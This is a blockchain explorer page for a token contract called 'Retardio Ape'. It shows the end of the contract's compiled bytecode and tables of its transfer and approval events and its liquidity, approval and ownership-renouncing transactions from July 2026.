ffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f28575f6040517fec442f05000000000000000000000000000000000000000000000000000000008152600401610f1f91906111ed565b60405180910390fd5b610f335f8383610c9f565b5050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f610f7982610f37565b610f838185610f41565b9350610f93818560208601610f51565b610f9c81610f5f565b840191505092915050565b5f6020820190508181035f830152610fbf8184610f6f565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610ff482610fcb565b9050919050565b61100481610fea565b811461100e575f80fd5b50565b5f8135905061101f81610ffb565b92915050565b5f819050919050565b61103781611025565b8114611041575f80fd5b50565b5f813590506110528161102e565b92915050565b5f806040838503121561106e5761106d610fc7565b5b5f61107b85828601611011565b925050602061108c85828601611044565b9150509250929050565b5f8115159050919050565b6110aa81611096565b82525050565b5f6020820190506110c35f8301846110a1565b92915050565b6110d281611025565b82525050565b5f6020820190506110eb5f8301846110c9565b92915050565b5f805f6060848603121561110857611107610fc7565b5b5f61111586828701611011565b935050602061112686828701611011565b925050604061113786828701611044565b9150509250925092565b5f60ff82169050919050565b61115681611141565b82525050565b5f60208201905061116f5f83018461114d565b92915050565b5f806040838503121561118b5761118a610fc7565b5b5f61119885828601611011565b92505060206111a985828601611011565b9150509250929050565b5f602082840312156111c8576111c7610fc7565b5b5f6111d584828501611011565b91505092915050565b6111e781610fea565b82525050565b5f6020820190506112005f8301846111de565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061124a57607f821691505b60208210810361125d5761125c611206565b5b50919050565b7f43616c6c6572206973206e6f742061206275726e206d616e61676572000000005f82015250565b5f611297601c83610f41565b91506112a282611263565b602082019050919050565b5f6020820190508181035f8301526112c48161128b565b9050919050565b7f4e6f20746f6b656e7320746f207472616e7366657200000000000000000000005f82015250565b5f6112ff601583610f41565b915061130a826112cb565b602082019050919050565b5f6020820190508181035f83015261132c816112f3565b9050919050565b7f43616c6c6572206973206e6f74206120726577617264206d616e6167657200005f82015250565b5f611367601e83610f41565b915061137282611333565b602082019050919050565b5f6020820190508181035f8301526113948161135b565b9050919050565b5f6060820190506113ae5f8301866111de565b6113bb60208301856110c9565b6113c860408301846110c9565b949350505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61140782611025565b915061141283611025565b925082820190508082111561142a576114296113d0565b5b9291505056fea2646970667358221220bf9b8b3732384d807015b031ea5ce4745b60418f5d4eb5796a3b65fcab6225fe64736f6c634300081a0033
| Token | Symbol | Balance | Price | Value |
|---|---|---|---|---|
| no token holdings | ||||
| Type | Age | Block | Details |
|---|---|---|---|
| no cross-chain L1↔L2 transactions for this address | |||
| Transaction Hash | Method | Block | Age | From | To | Amount | Token | ||
|---|---|---|---|---|---|---|---|---|---|
| no token transfers for this address yet | |||||||||
| Txn Hash | Age | Event | Topics / Data |
|---|---|---|---|
| 0xf43599…ef3818 | 29 days agoSun, 19 Jul 2026 09:53:55 UTC | Transfer | [0] 0x000000000000…eb649eba [1] 0x000000000000…98f1f752 data: 0x000000000000000000…cd5824d7 |
| 0xf43599…ef3818 | 29 days agoSun, 19 Jul 2026 09:53:55 UTC | Transfer | [0] 0x000000000000…d8a3fa5b [1] 0x000000000000…eb649eba data: 0x000000000000000000…cd5824d7 |
| 0x34e79a…0f0f0f | 29 days agoSun, 19 Jul 2026 08:30:24 UTC | 0x857ac1…924d | [0] 0x000000000000…c72c7ac6 [1] 0x000000000000…98f1f752 data: 0x000000000000000000…184fad72 |
| 0x34e79a…0f0f0f | 29 days agoSun, 19 Jul 2026 08:30:24 UTC | Transfer | [0] 0x000000000000…c72c7ac6 [1] 0x000000000000…98f1f752 data: 0x000000000000000000…184fad72 |
| 0xa98501…cec185 | 29 days agoSun, 19 Jul 2026 08:30:12 UTC | Transfer | [0] 0x000000000000…d8a3fa5b [1] 0x000000000000…c72c7ac6 data: 0x000000000000000000…184fad72 |
| 0x08fde1…541d0f | 29 days agoSun, 19 Jul 2026 08:24:33 UTC | 0x857ac1…924d | [0] 0x000000000000…c72c7ac6 [1] 0x000000000000…98f1f752 data: 0x000000000000000000…11cefdd6 |
| 0x08fde1…541d0f | 29 days agoSun, 19 Jul 2026 08:24:33 UTC | Transfer | [0] 0x000000000000…c72c7ac6 [1] 0x000000000000…98f1f752 data: 0x000000000000000000…11cefdd6 |
| 0xc418aa…e2d4f0 | 29 days agoSun, 19 Jul 2026 08:24:22 UTC | Transfer | [0] 0x000000000000…d8a3fa5b [1] 0x000000000000…c72c7ac6 data: 0x000000000000000000…11cefdd6 |
| 0x9eaf26…f0d1ec | 29 days agoSun, 19 Jul 2026 08:21:11 UTC | Transfer | [0] 0x000000000000…d8a3fa5b [1] 0x000000000000…8abdfbba data: 0x000000000000000000…7979235f |
| 0xf903a8…d1b1b5 | 29 days agoSun, 19 Jul 2026 08:21:09 UTC | Transfer | [0] 0x000000000000…d8a3fa5b [1] 0x000000000000…c9950b90 data: 0x000000000000000000…32bf0937 |
| 0xbb0ffa…28e0ee | 29 days agoSun, 19 Jul 2026 08:21:06 UTC | Transfer | [0] 0x000000000000…d8a3fa5b [1] 0x000000000000…586ce575 data: 0x000000000000000000…7521d20d |
| 0x2a5751…eea125 | 29 days agoSun, 19 Jul 2026 08:21:03 UTC | Transfer | [0] 0x000000000000…d8a3fa5b [1] 0x000000000000…8a90b7e3 data: 0x000000000000000000…d09dce63 |
| 0x5cd16c…8d88ee | 29 days agoSun, 19 Jul 2026 08:21:01 UTC | Transfer | [0] 0x000000000000…d8a3fa5b [1] 0x000000000000…4e51234f data: 0x000000000000000000…5d7c058e |
| 0x7a1738…e0944a | 29 days agoSun, 19 Jul 2026 08:20:58 UTC | Transfer | [0] 0x000000000000…d8a3fa5b [1] 0x000000000000…e64a33d4 data: 0x000000000000000000…425c5e4b |
| 0xd3fd82…b9609d | 29 days agoSun, 19 Jul 2026 08:20:55 UTC | Transfer | [0] 0x000000000000…d8a3fa5b [1] 0x000000000000…a33754bb data: 0x000000000000000000…96df4e11 |
| 0x54228e…6cec0d | 29 days agoSun, 19 Jul 2026 08:19:52 UTC | Transfer | [0] 0x000000000000…d051d75e [1] 0x000000000000…d8a3fa5b data: 0x000000000000000000…00000000 |
| 0x60e61c…5d9150 | 29 days agoSun, 19 Jul 2026 08:19:52 UTC | Approval | [0] 0x000000000000…d051d75e [1] 0x000000000000…eb649eba data: 0xffffffffffffffffff…ffffffff |
| 0x617011…a5ebb3 | 29 days agoSun, 19 Jul 2026 08:19:48 UTC | Transfer | [0] 0x000000000000…a03db29c [1] 0x000000000000…d8a3fa5b data: 0x000000000000000000…00000000 |
| 0x1b9934…ea83ce | 29 days agoSun, 19 Jul 2026 08:19:48 UTC | Approval | [0] 0x000000000000…a03db29c [1] 0x000000000000…eb649eba data: 0xffffffffffffffffff…ffffffff |
| 0x6ce07f…248a58 | 29 days agoSun, 19 Jul 2026 08:19:44 UTC | Transfer | [0] 0x000000000000…7e50fec8 [1] 0x000000000000…d8a3fa5b data: 0x000000000000000000…00000000 |
| 0x5861fe…074548 | 29 days agoSun, 19 Jul 2026 08:19:44 UTC | Approval | [0] 0x000000000000…7e50fec8 [1] 0x000000000000…eb649eba data: 0xffffffffffffffffff…ffffffff |
| 0x218a28…a298eb | 29 days agoSun, 19 Jul 2026 08:18:44 UTC | 0x857ac1…924d | [0] 0x000000000000…c72c7ac6 [1] 0x000000000000…98f1f752 data: 0x000000000000000000…432a4dfd |
| 0x218a28…a298eb | 29 days agoSun, 19 Jul 2026 08:18:44 UTC | Transfer | [0] 0x000000000000…c72c7ac6 [1] 0x000000000000…98f1f752 data: 0x000000000000000000…432a4dfd |
| 0xef539f…8eca80 | 29 days agoSun, 19 Jul 2026 08:18:35 UTC | Transfer | [0] 0x000000000000…d8a3fa5b [1] 0x000000000000…c72c7ac6 data: 0x000000000000000000…432a4dfd |
| 0x4f24eb…81489d | 29 days agoSun, 19 Jul 2026 08:18:26 UTC | Transfer | [0] 0x000000000000…d8a3fa5b [1] 0x000000000000…d6357a84 data: 0x000000000000000000…db960d61 |
| Block | Age | Parent Transaction Hash | Type | Method | From | To | Value | |
|---|---|---|---|---|---|---|---|---|
| no internal transactions found for this address yet (traced blocks + on-demand) | ||||||||
| Transaction Hash | Method | Block | Age | From | To | Type | Item | ||
|---|---|---|---|---|---|---|---|---|---|
| no NFT transfers for this address yet | |||||||||
| Transaction Hash | Method ? | Block | Age | From | To | Amount | Txn Fee ? | ||
|---|---|---|---|---|---|---|---|---|---|
| 0x34e79a…0f0f0f | addLiquidity | 13,698,620 | 29 days agoSun, 19 Jul 2026 08:30:24 UTC | 0x7615…f752 | IN | Retardio Ape | $0.000 ETH | 0.00000207 | |
| 0x08fde1…541d0f | addLiquidity | 13,695,126 | 29 days agoSun, 19 Jul 2026 08:24:33 UTC | 0x7615…f752 | IN | Retardio Ape | $0.000 ETH | 0.00000204 | |
| 0x60e61c…5d9150 | Approve | 13,692,329 | 29 days agoSun, 19 Jul 2026 08:19:52 UTC | 0xefd9…d75e | IN | Retardio Ape | $0.000 ETH | 0.00000277 | |
| 0x1b9934…ea83ce | Approve | 13,692,291 | 29 days agoSun, 19 Jul 2026 08:19:48 UTC | 0x62dd…b29c | IN | Retardio Ape | $0.000 ETH | 0.00000278 | |
| 0x5861fe…074548 | Approve | 13,692,252 | 29 days agoSun, 19 Jul 2026 08:19:44 UTC | 0x8f74…fec8 | IN | Retardio Ape | $0.000 ETH | 0.00000278 | |
| 0x218a28…a298eb | addLiquidity | 13,691,655 | 29 days agoSun, 19 Jul 2026 08:18:44 UTC | 0x7615…f752 | IN | Retardio Ape | $0.000 ETH | 0.00000305 | |
| 0xd6c9b9…25a057 | Approve | 13,690,018 | 29 days agoSun, 19 Jul 2026 08:16:00 UTC | 0x7615…f752 | IN | Retardio Ape | $0.000 ETH | 0.00000278 | |
| 0x5dfe60…e63ff7 | renounceOwnership | 13,688,561 | 29 days agoSun, 19 Jul 2026 08:13:33 UTC | 0x7615…f752 | IN | Retardio Ape | $0.000 ETH | 0.00000138 |